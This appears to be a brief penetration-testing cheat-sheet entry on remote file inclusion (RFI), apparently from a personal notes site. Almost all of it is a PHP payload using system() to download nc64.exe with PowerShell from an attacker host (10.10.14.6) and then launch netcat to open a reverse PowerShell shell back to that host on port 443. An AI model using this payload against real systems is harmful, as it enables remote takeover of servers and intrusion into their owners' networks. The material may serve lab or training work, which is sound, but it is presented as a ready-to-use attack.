---
title: "RFI"
date: 2024-06-30
draft: false
---

assuming you can include remote files, you can create a php file such as below to execute commands 
```bash
system("powershell -c wget 10.10.14.6/nc64.exe -outfile \\programdata\\nc64.exe");
system("\\programdata\\nc64.exe -e powershell 10.10.14.6 443");
```
